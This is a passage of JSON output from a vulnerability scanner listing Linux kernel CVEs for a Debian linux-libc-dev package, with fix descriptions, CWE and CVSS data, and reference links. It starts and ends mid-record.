kernel, the following vulnerability has been resolved:\n\ndrm/nouveau: fix a use-after-free in r535_gsp_rpc_push()\n\nThe RPC container is released after being passed to r535_gsp_rpc_send().\n\nWhen sending the initial fragment of a large RPC and passing the\ncaller's RPC container, the container will be freed prematurely. Subsequent\nattempts to send remaining fragments will therefore result in a\nuse-after-free.\n\nAllocate a temporary RPC container for holding the initial fragment of a\nlarge RPC when sending. Free the caller's container when all fragments\nare successfully sent.\n\n[ Rebase onto Blackwell changes. - Danilo ]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38187", "https://git.kernel.org/linus/9802f0a63b641f4cddb2139c814c2e95cb825099%20%286.16-rc3%29", "https://git.kernel.org/stable/c/69270d24af7694494ac4116bcad30a812ca49ca7", "https://git.kernel.org/stable/c/9802f0a63b641f4cddb2139c814c2e95cb825099", "https://git.kernel.org/stable/c/cd4677407c0ee250fc21e36439c8a442ddd62cc1", "https://lore.kernel.org/linux-cve-announce/2025070413-CVE-2025-38187-dafd@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38187", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2025-38187" ], "PublishedDate": "2025-07-04T14:15:25.64Z", "LastModifiedDate": "2026-10-21T13:18:09.247Z" }, { "VulnerabilityID": "CVE-2025-38204", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38204", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:008259d4192d779eaa7c521b48fb45c2b998b729492f75a29a2beadfc2371752", "Title": "kernel: jfs: fix array-index-out-of-bounds read in add_missing_indices", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\njfs: fix array-index-out-of-bounds read in add_missing_indices\n\nstbl is s8 but it must contain offsets into slot which can go from 0 to\n127.\n\nAdded a bound check for that error and return -EIO if the check fails.\nAlso make jfs_readdir return with error if add_missing_indices returns\nwith an error.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "bottlerocket": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38204", "https://access.redhat.com/security/cve/CVE-2025-38204", "https://git.kernel.org/linus/5dff41a86377563f7a2b968aae00d25b4ceb37c9%20%286.16-rc1%29", "https://git.kernel.org/stable/c/2ec34dc7094b14149ce091c77aff43a45d255518", "https://git.kernel.org/stable/c/44618bee303bed151ef3a525ff79fbd7689593b5", "https://git.kernel.org/stable/c/5730e2da0655336fed6aa3c25892e69e2ba5cb76", "https://git.kernel.org/stable/c/5dff41a86377563f7a2b968aae00d25b4ceb37c9", "https://git.kernel.org/stable/c/81af4b34fd72d390d7f237c6a545cc6d09707956", "https://git.kernel.org/stable/c/bfa4655d28f338e68d345aed80d19be7999bbce2", "https://git.kernel.org/stable/c/c8399564a58fb6ea2ff21a6fd278417943cb51a5", "https://git.kernel.org/stable/c/c8733634978086b41255695d993cec3017a23a27", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.0/BRSA-5xbzlsmyrsb4.toml", "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html", "https://lore.kernel.org/linux-cve-announce/2025070419-CVE-2025-38204-c216@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38204", "https://ubuntu.com/security/notices/USN-7774-1", "https://ubuntu.com/security/notices/USN-7774-2", "https://ubuntu.com/security/notices/USN-7774-3", "https://ubuntu.com/security/notices/USN-7774-4", "https://ubuntu.com/security/notices/USN-7774-5", "https://ubuntu.com/security/notices/USN-7775-1", "https://ubuntu.com/security/notices/USN-7775-2", "https://ubuntu.com/security/notices/USN-7775-3", "https://ubuntu.com/security/notices/USN-7776-1", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-38204" ], "PublishedDate": "2025-07-04T14:15:28.383Z", "LastModifiedDate": "2026-10-30T13:18:01.62Z" }, { "VulnerabilityID": "CVE-2025-38206", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38206", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4c4d20ca1d64c60a4d00240b7e3a9ebef29e16fa72ca81a71b4b204da5f5451a", "Title": "kernel: Kernel: Double free vulnerability in exFAT filesystem can lead to denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nexfat: fix double free in delayed_free\n\nThe double free could happen in the following path.\n\nexfat_create_upcase_table()\n exfat_create_upcase_table() : return error\n exfat_free_upcase_table() : free -\u003evol_utbl\n exfat_load_default_upcase_table : return error\n exfat_kill_sb()\n delayed_free()\n exfat_free_upcase_table() \u003c--------- double free\nThis patch set -\u003evol_util as NULL after freeing it.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 2, "amazon": 3, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38206", "https://access.redhat.com/errata/RHSA-2026:3066", "https://access.redhat.com/security/cve/CVE-2025-38206", "https://bugzilla.redhat.com/2376034", "https://bugzilla.redhat.com/2376377", "https://errata.almalinux.org/9/ALSA-2026-3066.html", "https://git.kernel.org/linus/1f3d9724e16d62c7d42c67d6613b8512f2887c22%20%286.16-rc1%29", "https://git.kernel.org/stable/c/13d8de1b6568dcc31a95534ced16bc0c9a67bc15", "https://git.kernel.org/stable/c/1f3d9724e16d62c7d42c67d6613b8512f2887c22", "https://git.kernel.org/stable/c/29abaf93357f4a7d083cf399d4306999e20db31d", "https://git.kernel.org/stable/c/66e84439ec2af776ce749e8540f8fdd257774152", "https://git.kernel.org/stable/c/ac65f76db9b2ff3fbc9e198c0e9aaf81b111b7d0", "https://git.kernel.org/stable/c/d3cef0e7a5c1aa6217c51faa9ce8ecac35d6e1fd", "https://git.kernel.org/stable/c/ea27703eb0efbadcd45b9949526160ed90536a72", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.0/BRSA-w4wfwisqfdsj.toml", "https://linux.oracle.com/cve/CVE-2025-38206.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html", "https://lore.kernel.org/linux-cve-announce/2025070420-CVE-2025-38206-a077@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38206", "https://ubuntu.com/security/notices/USN-7774-1", "https://ubuntu.com/security/notices/USN-7774-2", "https://ubuntu.com/security/notices/USN-7774-3", "https://ubuntu.com/security/notices/USN-7774-4", "https://ubuntu.com/security/notices/USN-7774-5", "https://ubuntu.com/security/notices/USN-7775-1", "https://ubuntu.com/security/notices/USN-7775-2", "https://ubuntu.com/security/notices/USN-7775-3", "https://ubuntu.com/security/notices/USN-7776-1", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-38206" ], "PublishedDate": "2025-07-04T14:15:28.703Z", "LastModifiedDate": "2026-09-02T13:16:49.14Z" }, { "VulnerabilityID": "CVE-2025-38421", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38421", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:eb9e8f804d75fd512d633a94a685fa7e77452d546e106320facb2b4c68a808ba", "Title": "kernel: platform/x86/amd: pmf: Use device managed allocations", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nplatform/x86/amd: pmf: Use device managed allocations\n\nIf setting up smart PC fails for any reason then this can lead to\na double free when unloading amd-pmf. This is because dev-\u003ebuf was\nfreed but never set to NULL and is again freed in amd_pmf_remove().\n\nTo avoid subtle allocation bugs in failures leading to a double free\nchange all allocations into device managed allocations.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38421", "https://git.kernel.org/linus/d9db3a941270d92bbd1a6a6b54a10324484f2f2d%20%286.16-rc3%29", "https://git.kernel.org/stable/c/0d10b532f861253c283863522d59d099fcb0796d", "https://git.kernel.org/stable/c/d6a38e1a82d2f9abd0bae84a354654bccb8389f6", "https://git.kernel.org/stable/c/d9db3a941270d92bbd1a6a6b54a10324484f2f2d", "https://lore.kernel.org/linux-cve-announce/2025072554-CVE-2025-38421-8601@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38421", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://www.cve.org/CVERecord?id=CVE-2025-38421" ], "PublishedDate": "2025-07-25T15:15:26.927Z", "LastModifiedDate": "2026-10-21T13:18:11.537Z" }, { "VulnerabilityID": "CVE-2025-38636", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38636", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b37a62594a144a477b4d06f8063d024192cf2d5bc0aefbac2b540cac74be35f8", "Title": "kernel: rv: Use strings in da monitors tracepoints", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrv: Use strings in da monitors tracepoints\n\nUsing DA monitors tracepoints with KASAN enabled triggers the following\nwarning:\n\n BUG: KASAN: global-out-of-bounds in do_trace_event_raw_event_event_da_monitor+0xd6/0x1a0\n Read of size 32 at addr ffffffffaada8980 by task ...\n Call Trace:\n \u003cTASK\u003e\n [...]\n do_trace_event_raw_event_event_da_monitor+0xd6/0x1a0\n ? __pfx_do_trace_event_raw_event_event_da_monitor+0x10/0x10\n ? trace_event_sncid+0x83/0x200\n trace_event_sncid+0x163/0x200\n [...]\n The buggy address belongs to the variable:\n automaton_snep+0x4e0/0x5e0\n\nThis is caused by the tracepoints reading 32 bytes __array instead of\n__string from the automata definition. Such strings are literals and\nreading 32 bytes ends up in out of bound memory accesses (e.g. the next\nautomaton's data in this case).\nThe error is harmless as, while printing the string, we stop at the null\nterminator, but it should still be fixed.\n\nUse the __string facilities while defining the tracepoints to avoid\nreading out of bound memory.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "V3Score": 4.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38636", "https://git.kernel.org/linus/7f904ff6e58d398c4336f3c19c42b338324451f7%20%286.17-rc1%29", "https://git.kernel.org/stable/c/0ebc70d973ce7a81826b5c4f55f743e07f5864d9", "https://git.kernel.org/stable/c/665ca03e93cee01baadc7b5eaee21b9d892e0dab", "https://git.kernel.org/stable/c/7f904ff6e58d398c4336f3c19c42b338324451f7", "https://git.kernel.org/stable/c/cb8de6f5ed5c43f7387615bbe601d2a4a31b7b35", "https://git.kernel.org/stable/c/dcae71222c8b9e5b5dd88a2d67347dedf10e68c6", "https://lore.kernel.org/linux-cve-announce/2025082233-CVE-2025-38636-0ce2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38636", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-38636" ], "PublishedDate": "2025-08-22T16:15:37.587Z", "LastModifiedDate": "2026-11-05T22:17:21.737Z" }, { "VulnerabilityID": "CVE-2025-38656", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38656", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6afb208092d8c6f7f501ce0875e64ddd1c0ea65ff33163d607f112ef3dcb8667", "Title": "kernel: wifi: iwlwifi: Fix error code in iwl_op_mode_dvm_start()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: iwlwifi: Fix error code in iwl_op_mode_dvm_start()\n\nPreserve the error code if iwl_setup_deferred_work() fails. The current\ncode returns ERR_PTR(0) (which is NULL) on this path. I believe the\nmissing error code potentially leads to a use after free involving\ndebugfs.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38656", "https://git.kernel.org/stable/c/1d068272c21d886d06526454b68368100ba0a720", "https://git.kernel.org/stable/c/5c432da1ee191e9f7830dd516456706063d7bec3", "https://git.kernel.org/stable/c/991e2066f6009d3cb898413058c62dbcc92bd6d2", "https://git.kernel.org/stable/c/cf80c02a9fdb6c5bc8508beb6a0f6a1294fc32f6", "https://git.kernel.org/stable/c/f95598a133a905fd937354ad902773d05593b8b9", "https://lore.kernel.org/linux-cve-announce/2025082238-CVE-2025-38656-32f1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38656", "https://www.cve.org/CVERecord?id=CVE-2025-38656" ], "PublishedDate": "2025-08-22T16:15:40.633Z", "LastModifiedDate": "2026-10-21T13:18:12.74Z" }, { "VulnerabilityID": "CVE-2025-39859", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39859", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6b879d2c82902e756024961c25a893da1929cd6807b938599238b99f351f4261", "Title": "kernel: ptp: ocp: fix use-after-free bugs causing by ptp_ocp_watchdog", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nptp: ocp: fix use-after-free bugs causing by ptp_ocp_watchdog\n\nThe ptp_ocp_detach() only shuts down the watchdog timer if it is\npending. However, if the timer handler is already running, the\ntimer_delete_sync() is not called. This leads to race conditions\nwhere the devlink that contains the ptp_ocp is deallocated while\nthe timer handler is still accessing it, resulting in use-after-free\nbugs. The following details one of the race scenarios.\n\n(thread 1) | (thread 2)\nptp_ocp_remove() |\n ptp_ocp_detach() | ptp_ocp_watchdog()\n if (timer_pending(\u0026bp-\u003ewatchdog))| bp = timer_container_of()\n timer_delete_sync() |\n |\n devlink_free(devlink) //free |\n | bp-\u003e //use\n\nResolve this by unconditionally calling timer_delete_sync() to ensure\nthe timer is reliably deactivated, preventing any access after free.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-39859", "https://git.kernel.org/linus/8bf935cf789872350b04c1a6468b0a509f67afb2%20%286.17-rc5%29", "https://git.kernel.org/stable/c/8bf935cf789872350b04c1a6468b0a509f67afb2", "https://git.kernel.org/stable/c/a59822a762039b6e0252f21b091245d6ad7f324b", "https://git.kernel.org/stable/c/aad70bdfc8244616e48c434310cab241a3f17781", "https://git.kernel.org/stable/c/e2a6eabe5304a789b7d40ce2576cd80154255e51", "https://git.kernel.org/stable/c/f10d3c7267ac7387a5129d5506c3c5f2460cfd9b", "https://lore.kernel.org/linux-cve-announce/2025091905-CVE-2025-39859-52d5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39859", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-39859" ], "PublishedDate": "2025-09-19T16:15:44.867Z", "LastModifiedDate": "2026-10-30T13:18:10.767Z" }, { "VulnerabilityID": "CVE-2025-39862", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39862", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:02cc2ede4f71d341518526a53c2b89e492e2b012d1bbfcc2d94868b629ccdc26", "Title": "kernel: wifi: mt76: mt7915: fix list corruption after hardware restart", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7915: fix list corruption after hardware restart\n\nSince stations are recreated from scratch, all lists that wcids are added\nto must be cleared before calling ieee80211_restart_hw.\nSet wcid-\u003esta = 0 for each wcid entry in order to ensure that they are\nnot added again before they are ready.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-39862", "https://git.kernel.org/linus/065c79df595af21d6d1b27d642860faa1d938774%20%286.17-rc5%29", "https://git.kernel.org/stable/c/065c79df595af21d6d1b27d642860faa1d938774", "https://git.kernel.org/stable/c/6826728f9fd7e7db57cd9647932eea47cbc645c6", "https://git.kernel.org/stable/c/6d40c15d70c2dba2f68dd50e452255bfa1b016f0", "https://git.kernel.org/stable/c/8fa8eb52bc2eb08d93202863b5fc478e0bebc00c", "https://lore.kernel.org/linux-cve-announce/2025091906-CVE-2025-39862-5acb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39862", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-39862" ], "PublishedDate": "2025-09-19T16:15:45.203Z", "LastModifiedDate": "2026-10-21T13:18:15.807Z" }, { "VulnerabilityID": "CVE-2025-39958", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39958", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2493b43572b9912183f13a5e303f8ee8f0d72560333e54117e74580decd2e6a4", "Title": "kernel: iommu/s390: Make attach succeed when the device was surprise removed", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/s390: Make attach succeed when the device was surprise removed\n\nWhen a PCI device is removed with surprise hotplug, there may still be\nattempts to attach the device to the default domain as part of tear down\nvia (__iommu_release_dma_ownership()), or because the removal happens\nduring probe (__iommu_probe_device()). In both cases zpci_register_ioat()\nfails with a cc value indicating that the device handle is invalid. This\nis because the device is no longer part of the instance as far as the\nhypervisor is concerned.\n\nCurrently this leads to an error return and s390_iommu_attach_device()\nfails. This triggers the WARN_ON() in __iommu_group_set_domain_nofail()\nbecause attaching to the default domain must never fail.\n\nWith the device fenced by the hypervisor no DMAs to or from memory are\npossible and the IOMMU translations have no effect. Proceed as if the\nregistration was successful and let the hotplug event handling clean up\nthe device.\n\nThis is similar to how devices in the error state are handled since\ncommit 59bbf596791b (\"iommu/s390: Make attach succeed even if the device\nis in error state\") except that for removal the domain will not be\nregistered later. This approach was also previously discussed at the\nlink.\n\nHandle both cases, error state and removal, in a helper which checks if\nthe error needs to be propagated or ignored. Avoid magic number\ncondition codes by using the pre-existing, but never used, defines for\nPCI load/store condition codes and rename them to reflect that they\napply to all PCI instructions.", "Severity": "HIGH", "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-39958", "https://git.kernel.org/stable/c/359613f2fa009587154511e4842e8ab9532edd15", "https://git.kernel.org/stable/c/3b32cf6e279597d1b6477fb89d46abf65263c139", "https://git.kernel.org/stable/c/79fa3a19aa6114189b33e2ba1f393b0f635d7544", "https://git.kernel.org/stable/c/9ffaf5229055fcfbb3b3d6f1c7e58d63715c3f73", "https://lore.kernel.org/linux-cve-announce/2025100943-CVE-2025-39958-6e96@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39958", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-39958" ], "PublishedDate": "2025-10-09T10:15:37.867Z", "LastModifiedDate": "2026-11-05T22:17:35.643Z" }, { "VulnerabilityID": "CVE-2025-68174", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-68174", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c6a7e2f75bcb17ea53d0bddc32a8cdb4ef49724b6f1c554e99227aa3631ea26", "Title": "kernel: Linux kernel AMD KFD: Race condition causes system crash", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\namd/amdkfd: enhance kfd process check in switch partition\n\ncurrent switch partition only check if kfd_processes_table is empty.\nkfd_prcesses_table entry is deleted in kfd_process_notifier_release, but\nkfd_process tear down is in kfd_process_wq_release.\n\nconsider two processes:\n\nProcess A (workqueue) -\u003e kfd_process_wq_release -\u003e Access kfd_node member\nProcess B switch partition -\u003e amdgpu_xcp_pre_partition_switch -\u003e amdgpu_amdkfd_device_fini_sw\n-\u003e kfd_node tear down.\n\nProcess A and B may trigger a race as shown in dmesg log.\n\nThis patch is to resolve the race by adding an atomic kfd_process counter\nkfd_processes_count, it increment as create kfd process, decrement as\nfinish kfd_process_wq_release.\n\nv2: Put kfd_processes_count per kfd_dev, move decrement to kfd_process_destroy_pdds\nand bug fix. (Philip Yang)\n\n[3966658.307702] divide error: 0000 [#1] SMP NOPTI\n[3966658.350818] i10nm_edac\n[3966658.356318] CPU: 124 PID: 38435 Comm: kworker/124:0 Kdump: loaded Tainted\n[3966658.356890] Workqueue: kfd_process_wq kfd_process_wq_release [amdgpu]\n[3966658.362839] nfit\n[3966658.366457] RIP: 0010:kfd_get_num_sdma_engines+0x17/0x40 [amdgpu]\n[3966658.366460] Code: 00 00 e9 ac 81 02 00 66 66 2e 0f 1f 84 00 00 00 00 00 90 0f 1f 44 00 00 48 8b 4f 08 48 8b b7 00 01 00 00 8b 81 58 26 03 00 99 \u003cf7\u003e be b8 01 00 00 80 b9 70 2e 00 00 00 74 0b 83 f8 02 ba 02 00 00\n[3966658.380967] x86_pkg_temp_thermal\n[3966658.391529] RSP: 0018:ffffc900a0edfdd8 EFLAGS: 00010246\n[3966658.391531] RAX: 0000000000000008 RBX: ffff8974e593b800 RCX: ffff888645900000\n[3966658.391531] RDX: 0000000000000000 RSI: ffff888129154400 RDI: ffff888129151c00\n[3966658.391532] RBP: ffff8883ad79d400 R08: 0000000000000000 R09: ffff8890d2750af4\n[3966658.391532] R10: 0000000000000018 R11: 0000000000000018 R12: 0000000000000000\n[3966658.391533] R13: ffff8883ad79d400 R14: 